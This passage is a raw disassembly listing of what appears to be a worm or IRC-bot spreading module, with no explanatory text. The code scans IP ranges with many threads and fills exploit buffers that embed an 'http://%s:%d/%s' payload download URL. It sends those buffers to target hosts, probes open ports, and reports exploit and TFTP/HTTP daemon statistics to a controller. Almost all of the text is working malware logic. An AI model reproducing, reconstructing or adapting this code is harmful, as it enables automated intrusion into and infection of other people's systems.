		jz	short loc_409E45
		push	dword ptr [esp+60h]
		call	edi	; CloseHandle

loc_409E45:				; CODE XREF: .text:00409E3Dj
		cmp	byte ptr [esp+13h], 0
		jnz	short loc_409EA5
		cmp	[esp+18h], esi
		jnz	short loc_409E6B
		mov	dword ptr [esp+18h], 1
		xor	ebx, ebx
		jmp	loc_40978D
; ---------------------------------------------------------------------------

loc_409E61:				; CODE XREF: .text:0040992Bj
					; .text:00409A4Cj
		push	dword ptr [esp+14h]
		call	ds:dword_41E0E0	; CloseHandle

loc_409E6B:				; CODE XREF: .text:00409792j
					; .text:004097F7j ...
		xor	al, al

loc_409E6D:				; CODE XREF: .text:00409EBBj
		mov	ecx, [esp+6424h]
		pop	edi
		pop	esi
		pop	ebx
		xor	ecx, esp
		call	sub_40AFEE
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_409E82:				; CODE XREF: .text:00409B92j
					; .text:00409BC5j
		push	dword ptr [esp+14h]
		call	ds:dword_41E0E0	; CloseHandle
		push	dword ptr [esp+1Ch]

loc_409E90:				; CODE XREF: .text:00409EA3j
		call	sub_40DBA6
		pop	ecx
		jmp	short loc_409E6B
; ---------------------------------------------------------------------------

loc_409E98:				; CODE XREF: .text:00409C71j
		push	dword ptr [esp+14h]
		call	ds:dword_41E0E0	; CloseHandle
		push	esi
		jmp	short loc_409E90
; ---------------------------------------------------------------------------

loc_409EA5:				; CODE XREF: .text:00409E4Aj
		mov	eax, [esp+200h]
		imul	eax, 2Ch
		lea	eax, dword_42452C[eax]
		inc	dword ptr [eax]
		mov	al, [esp+13h]
		jmp	short loc_409E6D

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409EBD	proc near		; CODE XREF: sub_40A186+B7p

var_51C		= dword	ptr -51Ch
var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= byte ptr -504h
var_501		= byte ptr -501h
var_390		= byte ptr -390h
var_38D		= byte ptr -38Dh
var_21C		= byte ptr -21Ch
var_21B		= byte ptr -21Bh
var_11C		= byte ptr -11Ch
var_11B		= byte ptr -11Bh
var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 50Ch
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_50C], eax
		mov	eax, ds:dword_421090
		mov	[ebp+var_C], eax
		mov	eax, ds:dword_421094
		mov	esi, offset dword_421098
		lea	edi, [ebp+var_504]
		mov	ebx, 16Fh
		movsw
		push	ebx
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_501]
		push	0
		push	eax
		movsb
		call	sub_40CBA0
		mov	esi, offset dword_421098
		lea	edi, [ebp+var_390]
		movsw
		movsb
		push	ebx
		xor	esi, esi
		lea	eax, [ebp+var_38D]
		push	esi
		push	eax
		call	sub_40CBA0
		xor	eax, eax
		mov	[ebp+var_1C], 0
		lea	edi, [ebp+var_1B]
		stosd
		stosd
		stosd
		stosw
		stosb
		mov	edi, 0FFh
		push	edi
		lea	eax, [ebp+var_21B]
		push	esi
		push	eax
		mov	[ebp+var_21C], 0
		call	sub_40CBA0
		push	edi
		lea	eax, [ebp+var_11B]
		push	esi
		push	eax
		mov	[ebp+var_11C], 0
		call	sub_40CBA0
		add	esp, 30h
		cmp	[ebp+arg_4], 0
		jz	short loc_409F94
		call	sub_402B71
		test	al, al
		jz	short loc_409F94
		push	100h
		lea	esi, [ebp+var_11C]
		mov	ebx, offset dword_424F3C
		call	sub_401AD1
		pop	ecx
		jmp	short loc_409FEF
; ---------------------------------------------------------------------------

loc_409F94:				; CODE XREF: sub_409EBD+B4j
					; sub_409EBD+BDj
		push	dword_426A1C
		lea	esi, [ebp+var_1C]
		call	sub_4028E8
		lea	esi, [ebp+var_21C]
		mov	ebx, offset byte_425081
		mov	[esp+51Ch+var_51C], 100h
		call	sub_401AD1
		mov	eax, esi
		push	eax
		push	dword_4265F4
		lea	eax, [ebp+var_1C]
		push	eax
		push	offset aHttpSDS	; "http://%s:%d/%s"
		lea	eax, [ebp+var_11C]
		push	edi
		push	eax
		call	sub_40CAE4
		lea	eax, [ebp+var_11C]
		push	eax
		call	sub_40C9B0
		mov	[ebp+eax+var_11C], 0
		add	esp, 20h

loc_409FEF:				; CODE XREF: sub_409EBD+D5j
		lea	eax, [ebp+var_11C]
		push	eax
		lea	eax, [ebp+var_504]
		call	sub_407CD8
		test	eax, eax
		pop	ecx
		mov	[ebp+var_508], eax
		jnz	short loc_40A013

loc_40A00C:				; CODE XREF: sub_409EBD+194j
		xor	eax, eax
		jmp	loc_40A177
; ---------------------------------------------------------------------------

loc_40A013:				; CODE XREF: sub_409EBD+14Dj
		lea	ecx, [ebp+var_C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	2
		pop	ebx
		push	ebx
		lea	esi, [ebp+var_390]
		call	sub_407D35
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40A053
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_508]
		lea	eax, [ebp+var_504]
		push	eax
		push	ebx
		call	sub_407D35
		add	esp, 10h
		test	eax, eax
		jz	short loc_40A00C

loc_40A053:				; CODE XREF: sub_409EBD+176j
		mov	esi, [ebp+var_50C]
		push	4
		push	0
		push	esi
		call	sub_40CBA0
		push	24h
		push	offset dword_4245BC
		push	esi
		call	sub_40CC20
		push	edi
		lea	eax, [esi+24h]
		push	61h
		push	eax
		call	sub_40CBA0
		mov	edi, 101h
		push	edi
		lea	eax, [esi+123h]
		push	62h
		push	eax
		call	sub_40CBA0
		push	ebx
		lea	eax, [esi+224h]
		push	1
		push	eax
		call	sub_40CBA0
		push	edi
		lea	eax, [esi+226h]
		push	22h
		push	eax
		call	sub_40CBA0
		add	esp, 48h
		push	ebx
		lea	eax, [esi+327h]
		push	1
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		and	[ebp+var_508], 0
		lea	ebx, [esi+42Ah]

loc_40A0D0:				; CODE XREF: sub_409EBD+24Aj
		mov	eax, [ebp+var_508]
		add	eax, 64h
		push	edi
		push	eax
		lea	eax, [ebx-101h]
		push	eax
		call	sub_40CBA0
		push	2
		push	1
		push	ebx
		call	sub_40CBA0
		add	esp, 18h
		inc	[ebp+var_508]
		add	ebx, 103h
		cmp	[ebp+var_508], 8
		jl	short loc_40A0D0
		push	25h
		lea	eax, [esi+0B41h]
		push	6Ch
		push	eax
		call	sub_40CBA0
		push	0Ah
		lea	eax, [esi+0B66h]
		push	offset dword_4245E4
		push	eax
		call	sub_40CC20
		mov	edi, ds:off_41E0A4
		add	esp, 18h
		lea	eax, [ebp+var_390]
		push	eax
		call	edi ; sub_44A5DA
		push	eax
		lea	eax, [ebp+var_390]
		push	eax
		lea	eax, [esi+0B70h]
		push	eax
		call	sub_40CC20
		add	esp, 0Ch
		lea	eax, [ebp+var_390]
		push	eax
		call	edi ; sub_44A5DA
		add	eax, 0B70h
		push	54Ah
		add	eax, esi
		push	6Dh
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		mov	eax, esi

loc_40A177:				; CODE XREF: sub_409EBD+151j
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AFEE
		leave
		retn
sub_409EBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=12BCh


sub_40A186	proc near		; DATA XREF: .data:00424588o

var_133C	= byte ptr -133Ch
var_123C	= dword	ptr -123Ch
var_1238	= dword	ptr -1238h
var_1234	= dword	ptr -1234h
var_122F	= dword	ptr -122Fh
var_1228	= word ptr -1228h
var_1226	= word ptr -1226h
var_1224	= dword	ptr -1224h
var_1218	= byte ptr -1218h
var_1217	= byte ptr -1217h
var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		lea	ebp, [esp-12BCh]
		mov	eax, 133Ch
		call	sub_41B470
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+12BCh+var_4], eax
		push	esi
		push	edi
		push	44h
		pop	ecx
		lea	esi, [ebp+12BCh+arg_0]
		lea	edi, [ebp+12BCh+var_133C]
		rep movsd
		mov	esi, 1211h
		push	esi
		lea	eax, [ebp+12BCh+var_1217]
		push	0
		push	eax
		mov	[ebp+12BCh+var_1218], 0
		call	sub_40CBA0
		mov	eax, [ebp+12BCh+var_1238]
		add	esp, 0Ch
		push	[ebp+12BCh+var_1234]
		mov	[ebp+12BCh+var_1228], 2
		mov	[ebp+12BCh+var_1224], eax
		call	ds:dword_41E234	; htons
		push	6
		push	1
		push	2
		mov	[ebp+12BCh+var_1226], ax
		call	ds:dword_41E23C	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_40A212

loc_40A20E:				; CODE XREF: sub_40A186+A8j
		xor	al, al
		jmp	short loc_40A278
; ---------------------------------------------------------------------------

loc_40A212:				; CODE XREF: sub_40A186+86j
		push	10h
		lea	eax, [ebp+12BCh+var_1228]
		push	eax
		push	edi
		call	ds:dword_41E254	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40A230

loc_40A227:				; CODE XREF: sub_40A186+C0j
		push	edi

loc_40A228:				; CODE XREF: sub_40A186+D7j
		call	ds:dword_41E240	; closesocket
		jmp	short loc_40A20E
; ---------------------------------------------------------------------------

loc_40A230:				; CODE XREF: sub_40A186+9Fj
		push	[ebp+12BCh+var_122F]
		lea	eax, [ebp+12BCh+var_1218]
		push	eax
		call	sub_409EBD
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40A227
		push	0
		push	esi
		lea	eax, [ebp+12BCh+var_1218]
		push	eax
		push	edi
		call	ds:dword_41E244	; send
		cmp	eax, 0FFFFFFFFh
		push	edi
		jz	short loc_40A228
		call	ds:dword_41E240	; closesocket
		mov	eax, [ebp+12BCh+var_123C]
		imul	eax, 2Ch
		lea	eax, dword_42452C[eax]
		inc	dword ptr [eax]
		mov	al, 1

loc_40A278:				; CODE XREF: sub_40A186+8Aj
		mov	ecx, [ebp+12BCh+var_4]
		pop	edi
		xor	ecx, ebp
		pop	esi
		call	sub_40AFEE
		add	ebp, 12BCh
		leave
		retn
sub_40A186	endp

; ---------------------------------------------------------------------------
		push	60h
		mov	eax, offset loc_41DC19
		call	sub_40EB16
		mov	eax, [ebp+18h]
		mov	[ebp-64h], eax
		xor	eax, eax
		mov	byte ptr [ebp-30h], 0
		lea	edi, [ebp-2Fh]
		stosd
		stosd
		stosd
		stosw
		mov	ebx, [ebp+20h]
		stosb
		xor	eax, eax
		mov	byte ptr [ebp-20h], 0
		lea	edi, [ebp-1Fh]
		stosd
		stosd
		stosd
		stosw
		xor	esi, esi
		stosb
		or	edi, 0FFFFFFFFh
		cmp	byte_4339A5, 0
		mov	byte ptr [ebp-41h], 0
		mov	[ebp-50h], edi
		mov	[ebp-5Ch], edi
		mov	[ebp-60h], edi
		mov	[ebp-68h], edi
		mov	[ebp-48h], esi
		mov	[ebp-58h], esi
		jnz	short loc_40A2F3
		call	sub_407F20
		test	al, al
		jz	loc_40A72D

loc_40A2F3:				; CODE XREF: .text:0040A2E4j
		cmp	byte_426914, 0
		jnz	short loc_40A309
		call	sub_402F05
		test	al, al
		jz	loc_40A72D

loc_40A309:				; CODE XREF: .text:0040A2FAj
		mov	[ebp-54h], esi
		mov	esi, offset dword_424508
		jmp	short loc_40A331
; ---------------------------------------------------------------------------

loc_40A313:				; CODE XREF: .text:0040A33Aj
		push	dword ptr [ebx+4]
		push	esi
		call	sub_40D5D0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40A33E
		inc	dword ptr [ebp-54h]
		mov	esi, [ebp-54h]
		imul	esi, 2Ch
		lea	esi, dword_424508[esi]

loc_40A331:				; CODE XREF: .text:0040A311j
		push	esi
		call	sub_40C9B0
		test	eax, eax
		pop	ecx
		ja	short loc_40A313
		jmp	short loc_40A343
; ---------------------------------------------------------------------------

loc_40A33E:				; CODE XREF: .text:0040A320j
		cmp	[ebp-54h], edi
		jnz	short loc_40A360

loc_40A343:				; CODE XREF: .text:0040A33Cj
		push	offset aScanUnknownExp ; "Scan:	Unknown	Exploit."
		push	dword ptr [ebp-64h]
		push	dword ptr [ebp+0Ch]
		push	offset dword_426A1C
		call	sub_403D0C
		add	esp, 10h
		jmp	loc_40A72D
; ---------------------------------------------------------------------------

loc_40A360:				; CODE XREF: .text:0040A341j
		mov	esi, [ebx+8]
		mov	eax, esi
		mov	ecx, offset a____0 ; "*.*.*.*"
		call	sub_40286F
		test	eax, eax
		jz	short loc_40A385
		push	dword ptr [ebx+0Ch]
		mov	byte ptr [ebp-41h], 1
		call	sub_40E325
		pop	ecx
		mov	[ebp-4Ch], eax
		jmp	short loc_40A3E2
; ---------------------------------------------------------------------------

loc_40A385:				; CODE XREF: .text:0040A371j
		push	esi
		call	sub_40E325
		pop	ecx
		push	3
		mov	[ebp-4Ch], eax
		pop	eax
		cmp	[ebp+1Ch], eax
		mov	edi, eax
		jl	short loc_40A3DB

loc_40A399:				; CODE XREF: .text:0040A3D9j
		lea	esi, [ebx+eax*4]
		push	dword ptr [esi]
		push	offset aA	; "-a"
		call	sub_40D5D0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40A429
		push	dword ptr [esi]
		push	offset aB	; "-b"
		call	sub_40D5D0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40A3DB
		push	dword ptr [esi]
		push	offset aC	; "-c"
		call	sub_40D5D0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40A42F
		inc	edi
		movzx	eax, di
		cmp	eax, [ebp+1Ch]
		jle	short loc_40A399

loc_40A3DB:				; CODE XREF: .text:0040A397j
					; .text:0040A3BEj
		mov	dword ptr [ebp-58h], 1

loc_40A3E2:				; CODE XREF: .text:0040A383j
					; .text:0040A42Dj ...
		xor	eax, eax

loc_40A3E4:				; CODE XREF: .text:0040A3FAj
		cmp	byte_426D61[eax], 0
		jz	short loc_40A3F0
		inc	dword ptr [ebp-48h]

loc_40A3F0:				; CODE XREF: .text:0040A3EBj
		add	eax, 124h
		cmp	eax, 0CD50h
		jbe	short loc_40A3E4
		mov	ecx, [ebp-48h]
		mov	eax, 0B4h
		sub	eax, ecx
		cmp	eax, [ebp-4Ch]
		jnb	short loc_40A438
		push	eax
		push	offset aScanNotEnoughT ; "Scan:	Not Enough Threads. %d Available."...
		push	dword ptr [ebp-64h]
		push	dword ptr [ebp+0Ch]
		push	offset dword_426A1C
		call	sub_403D0C
		add	esp, 14h
		jmp	loc_40A72D
; ---------------------------------------------------------------------------

loc_40A429:				; CODE XREF: .text:0040A3ACj
		and	dword ptr [ebp-58h], 0
		jmp	short loc_40A3E2
; ---------------------------------------------------------------------------

loc_40A42F:				; CODE XREF: .text:0040A3D0j
		mov	dword ptr [ebp-58h], 2
		jmp	short loc_40A3E2
; ---------------------------------------------------------------------------

loc_40A438:				; CODE XREF: .text:0040A409j
		add	[ebp-4Ch], ecx
		cmp	byte ptr [ebp-41h], 0
		jz	loc_40A538
		push	dword ptr [ebx+8]
		lea	eax, [ebp-30h]
		push	offset aS	; "%s"
		push	0Fh
		pop	edi
		push	edi
		push	eax
		call	sub_40CAE4
		lea	eax, [ebp-30h]
		push	eax
		call	sub_40C9B0
		mov	byte ptr [ebp+eax-30h],	0
		lea	eax, [ebp-68h]
		push	eax
		lea	eax, [ebp-60h]
		push	eax
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-50h]
		push	eax
		lea	eax, [ebp-30h]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	eax
		call	sub_40DB87
		add	esp, 2Ch
		cmp	dword ptr [ebp-50h], 0FFFFFFFFh
		lea	eax, [ebp-20h]
		jnz	short loc_40A4A3
		push	offset aX_	; "x."
		push	edi
		push	eax
		call	sub_40CAE4
		add	esp, 0Ch
		jmp	short loc_40A4B5
; ---------------------------------------------------------------------------

loc_40A4A3:				; CODE XREF: .text:0040A490j
		push	dword ptr [ebp-50h]
		push	offset aD_	; "%d."
		push	edi
		push	eax
		call	sub_40CAE4
		add	esp, 10h

loc_40A4B5:				; CODE XREF: .text:0040A4A1j
		cmp	dword ptr [ebp-5Ch], 0FFFFFFFFh
		mov	esi, offset aSD_ ; "%s%d."
		lea	eax, [ebp-20h]
		jnz	short loc_40A4D5
		push	eax
		push	offset aSx_	; "%sx."
		push	edi
		push	eax
		call	sub_40CAE4
		add	esp, 10h
		jmp	short loc_40A4E7
; ---------------------------------------------------------------------------

loc_40A4D5:				; CODE XREF: .text:0040A4C1j
		push	dword ptr [ebp-5Ch]
		push	eax
		push	esi
		lea	eax, [ebp-20h]
		push	edi
		push	eax
		call	sub_40CAE4
		add	esp, 14h

loc_40A4E7:				; CODE XREF: .text:0040A4D3j
		cmp	dword ptr [ebp-60h], 0FFFFFFFFh
		lea	eax, [ebp-20h]
		jnz	short loc_40A502
		push	eax
		push	offset aSx_	; "%sx."
		push	edi
		push	eax
		call	sub_40CAE4
		add	esp, 10h
		jmp	short loc_40A514
; ---------------------------------------------------------------------------

loc_40A502:				; CODE XREF: .text:0040A4EEj
		push	dword ptr [ebp-60h]
		push	eax
		push	esi
		lea	eax, [ebp-20h]
		push	edi
		push	eax
		call	sub_40CAE4
		add	esp, 14h

loc_40A514:				; CODE XREF: .text:0040A500j
		cmp	dword ptr [ebp-68h], 0FFFFFFFFh
		lea	eax, [ebp-20h]
		jnz	short loc_40A529
		push	eax
		push	offset aSx	; "%sx"
		push	edi
		jmp	loc_40A5F4
; ---------------------------------------------------------------------------

loc_40A529:				; CODE XREF: .text:0040A51Bj
		push	dword ptr [ebp-68h]
		push	eax
		push	offset aSD	; "%s%d"
		push	edi
		jmp	loc_40A5DD
; ---------------------------------------------------------------------------

loc_40A538:				; CODE XREF: .text:0040A43Fj
		push	dword_426A1C
		mov	byte ptr [ebp-40h], 0
		xor	eax, eax
		lea	edi, [ebp-3Fh]
		stosd
		stosd
		stosd
		stosw
		lea	esi, [ebp-40h]
		stosb
		call	sub_4028E8
		push	10h
		lea	eax, [ebp-30h]
		push	0
		push	eax
		call	sub_40CBA0
		mov	eax, esi
		push	eax
		push	offset aS	; "%s"
		push	0Fh
		pop	esi
		lea	eax, [ebp-30h]
		push	esi
		push	eax
		call	sub_40CAE4
		lea	eax, [ebp-30h]
		push	eax
		call	sub_40C9B0
		mov	byte ptr [ebp+eax-30h],	0
		lea	eax, [ebp-68h]
		push	eax
		lea	eax, [ebp-60h]
		push	eax
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-50h]
		push	eax
		lea	eax, [ebp-30h]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	eax
		call	sub_40DB87
		mov	eax, [ebp-58h]
		add	esp, 3Ch
		sub	eax, 0
		jz	short loc_40A5EB
		dec	eax
		jz	short loc_40A5D1
		dec	eax
		jnz	short loc_40A600
		push	dword ptr [ebp-60h]
		lea	eax, [ebp-20h]
		push	dword ptr [ebp-5Ch]
		push	dword ptr [ebp-50h]
		push	offset aD_D_D_x	; "%d.%d.%d.x"
		push	esi
		push	eax
		call	sub_40CAE4
		add	esp, 18h
		jmp	short loc_40A600
; ---------------------------------------------------------------------------

loc_40A5D1:				; CODE XREF: .text:0040A5AFj
		push	dword ptr [ebp-5Ch]
		push	dword ptr [ebp-50h]
		push	offset aD_D_x_x	; "%d.%d.x.x"
		push	esi

loc_40A5DD:				; CODE XREF: .text:0040A533j
		lea	eax, [ebp-20h]
		push	eax
		call	sub_40CAE4
		add	esp, 14h
		jmp	short loc_40A600
; ---------------------------------------------------------------------------

loc_40A5EB:				; CODE XREF: .text:0040A5ACj
		push	dword ptr [ebp-50h]
		push	offset aD_x_x_x	; "%d.x.x.x"
		push	esi

loc_40A5F4:				; CODE XREF: .text:0040A524j
		lea	eax, [ebp-20h]
		push	eax
		call	sub_40CAE4
		add	esp, 10h

loc_40A600:				; CODE XREF: .text:0040A5B2j
					; .text:0040A5CFj ...
		lea	eax, [ebp-20h]
		push	eax
		call	sub_40C9B0
		cmp	byte ptr [ebp-41h], 0
		mov	byte ptr [ebp+eax-20h],	0
		pop	ecx
		jz	short loc_40A61A
		push	dword ptr [ebx+0Ch]
		jmp	short loc_40A61D
; ---------------------------------------------------------------------------

loc_40A61A:				; CODE XREF: .text:0040A613j
		push	dword ptr [ebx+8]

loc_40A61D:				; CODE XREF: .text:0040A618j
		call	sub_40E325
		push	eax
		mov	eax, [ebp-54h]
		imul	eax, 2Ch
		push	dword_424528[eax]
		lea	eax, [ebp-20h]
		push	eax
		push	offset aScanSDUsingDTh ; "Scan:	%s:%d Using %d Threads."
		push	dword ptr [ebp-64h]
		push	dword ptr [ebp+0Ch]
		push	offset dword_426A1C
		call	sub_403D0C
		add	esp, 20h
		call	sub_402C7B
		mov	eax, [ebp-4Ch]
		cmp	[ebp-48h], eax
		jnb	loc_40A72D
		mov	esi, [ebp-48h]
		imul	esi, 124h
		sub	eax, [ebp-48h]
		mov	[ebp-4Ch], esi
		mov	[ebp-48h], eax

loc_40A66E:				; CODE XREF: .text:0040A727j
		push	124h
		lea	ebx, dword_426D50[esi]
		lea	edi, [ebx-100h]
		push	0
		push	edi
		call	sub_40CBA0
		lea	eax, [ebp-30h]
		push	eax
		push	offset aS	; "%s"
		push	0Fh
		push	ebx
		call	sub_40CAE4
		push	ebx
		call	sub_40C9B0
		push	dword ptr [ebp-64h]
		mov	byte ptr dword_426D50[eax+esi],	0
		mov	al, [ebp-41h]
		push	offset aS	; "%s"
		mov	[ebx+12h], al
		mov	eax, [ebp-58h]
		push	0FFh
		push	edi
		mov	[ebx+18h], eax
		call	sub_40CAE4
		push	edi
		call	sub_40C9B0
		mov	byte_426C50[eax+esi], 0
		mov	al, [ebp+0Ch]
		mov	[ebx+10h], al
		mov	eax, [ebp-54h]
		push	8
		mov	byte ptr [ebx+11h], 1
		mov	[ebx+14h], eax
		call	loc_40D430
		add	esp, 38h
		mov	[ebp-6Ch], eax
		and	dword ptr [ebp-4], 0
		test	eax, eax
		jz	short loc_40A710
		mov	ecx, edi
		push	offset sub_40A9C4
		mov	edi, offset aScn ; "SCN"
		mov	esi, eax
		call	sub_408355
		mov	esi, [ebp-4Ch]
		jmp	short loc_40A712
; ---------------------------------------------------------------------------

loc_40A710:				; CODE XREF: .text:0040A6F6j
		xor	eax, eax

loc_40A712:				; CODE XREF: .text:0040A70Ej
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [eax]
		add	esi, 124h
		dec	dword ptr [ebp-48h]
		mov	[ebx+20h], eax
		mov	[ebp-4Ch], esi
		jnz	loc_40A66E

loc_40A72D:				; CODE XREF: .text:0040A2EDj
					; .text:0040A303j ...
		call	sub_40EB60
		retn	1Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		sub	esp, 1Ch
		and	dword ptr [esp], 0
		push	ebx
		push	esi
		mov	ebx, offset dword_433CA8
		push	edi
		mov	[esp+18h], ebx

loc_40A74E:				; CODE XREF: .text:0040A7B5j
					; .text:0040A7D2j ...
		mov	eax, dword_433CAC
		mov	eax, [eax]
		mov	[esp+14h], eax
		mov	[esp+10h], ebx

loc_40A75D:				; CODE XREF: .text:0040A799j
		mov	eax, dword_433CAC
		lea	edi, [esp+18h]
		lea	esi, [esp+10h]
		mov	[esp+1Ch], eax
		call	sub_402D8D
		test	al, al
		jz	short loc_40A7ED
		push	offset aScn	; "SCN"
		call	sub_402D3F
		add	eax, 5
		push	eax
		call	sub_40D5D0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40A79B
		lea	edi, [esp+20h]
		call	sub_402D5F
		jmp	short loc_40A75D
; ---------------------------------------------------------------------------

loc_40A79B:				; CODE XREF: .text:0040A78Ej
		call	sub_402D3F
		mov	edi, [eax+40h]
		lea	esi, [esp+10h]
		call	sub_402D3F
		mov	eax, [eax]
		call	sub_4083C9
		test	al, al
		jz	short loc_40A74E
		xor	eax, eax
		xor	ecx, ecx

loc_40A7BB:				; CODE XREF: .text:0040A7D0j
		cmp	dword_426D70[ecx], edi
		jz	short loc_40A7D7
		add	ecx, 124h
		inc	eax
		cmp	ecx, 0CD50h
		jbe	short loc_40A7BB
		jmp	loc_40A74E
; ---------------------------------------------------------------------------

loc_40A7D7:				; CODE XREF: .text:0040A7C1j
		inc	dword ptr [esp+0Ch]
		imul	eax, 124h
		mov	byte_426D61[eax], 0
		jmp	loc_40A74E
; ---------------------------------------------------------------------------

loc_40A7ED:				; CODE XREF: .text:0040A775j
		push	dword ptr [esp+0Ch]
		push	offset aScanAllScanThr ; "Scan:	All Scan Threads Stopped. %d kill"...
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+0Ch]
		push	offset dword_426A1C
		call	sub_403D0C
		add	esp, 14h
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	1Ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=188h


sub_40A812	proc near		; DATA XREF: ev73vtp2:off_4216B0o

var_208		= dword	ptr -208h
var_204		= byte ptr -204h
var_203		= byte ptr -203h
var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch
arg_10		= dword	ptr  18h

		push	ebp
		lea	ebp, [esp-188h]
		sub	esp, 208h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+188h+var_4], eax
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+188h+arg_10]
		mov	esi, 1FFh
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+188h+var_203]
		push	ebx
		push	eax
		mov	[ebp+188h+var_204], bl
		call	sub_40CBA0
		push	offset aStatisticsExpl ; "Statistics: Exploits:"
		lea	eax, [ebp+188h+var_204]
		push	esi
		push	eax
		mov	[ebp+188h+var_208], ebx
		call	sub_40CAE4
		add	esp, 18h
		xor	eax, eax

loc_40A862:				; CODE XREF: sub_40A812+7Fj
		push	dword_42452C[eax]
		lea	eax, dword_424508[eax]
		push	eax
		lea	eax, [ebp+188h+var_204]
		push	eax
		push	offset aSSD	; "%s %s: %d"
		push	esi
		push	eax
		call	sub_40CAE4
		add	esp, 18h
		inc	[ebp+188h+var_208]
		mov	eax, [ebp+188h+var_208]
		imul	eax, 2Ch
		cmp	dword_424528[eax], ebx
		jnz	short loc_40A862
		lea	eax, [ebp+188h+var_204]
		push	eax
		push	offset aSDaemons ; "%s;	Daemons:"
		push	esi
		push	eax
		call	sub_40CAE4
		push	dword_4339AC
		lea	eax, [ebp+188h+var_204]
		push	eax
		push	offset aSTftpD	; "%s TFTP: %d"
		push	esi
		push	eax
		call	sub_40CAE4
		push	dword_4339A0
		lea	eax, [ebp+188h+var_204]
		push	eax
		push	offset aSHttpD	; "%s HTTP: %d"
		push	esi
		push	eax
		call	sub_40CAE4
		lea	eax, [ebp+188h+var_204]
		push	eax
		call	sub_40C9B0
		mov	[ebp+eax+188h+var_204],	bl
		lea	eax, [ebp+188h+var_204]
		push	eax
		push	offset aS	; "%s"
		push	edi
		push	[ebp+188h+arg_4]
		push	offset dword_426A1C
		call	sub_403D0C
		mov	ecx, [ebp+188h+var_4]
		add	esp, 50h
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AFEE
		add	ebp, 188h
		leave
		retn	1Ch
sub_40A812	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A913	proc near		; CODE XREF: sub_40A9C4+170p
					; sub_40A9C4+28Cp ...

var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 128h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	esi
		push	edi
		xor	edi, edi
		push	6
		inc	edi
		push	edi
		push	2
		mov	[ebp+var_18], edi
		call	ds:dword_41E23C	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40A944
		xor	al, al
		jmp	short loc_40A9B6
; ---------------------------------------------------------------------------

loc_40A944:				; CODE XREF: sub_40A913+2Bj
		push	[ebp+arg_4]
		call	ds:dword_41E234	; htons
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp+var_14], 2
		call	ds:dword_41E274	; ioctlsocket
		and	[ebp+var_1C], 0
		push	10h
		lea	eax, [ebp+var_14]
		push	eax
		push	esi
		mov	[ebp+var_20], 5
		mov	[ebp+var_124], esi
		mov	[ebp+var_128], edi
		call	ds:dword_41E254	; connect
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		lea	eax, [ebp+var_128]
		push	eax
		push	0
		push	0
		call	ds:dword_41E268	; select
		push	esi
		mov	edi, eax
		call	ds:dword_41E240	; closesocket
		test	edi, edi
		setnle	al

loc_40A9B6:				; CODE XREF: sub_40A913+2Fj
		mov	ecx, [ebp+var_4]
		pop	edi
		xor	ecx, ebp
		pop	esi
		call	sub_40AFEE
		leave
		retn
sub_40A913	endp


; =============== S U B	R O U T	I N E =======================================

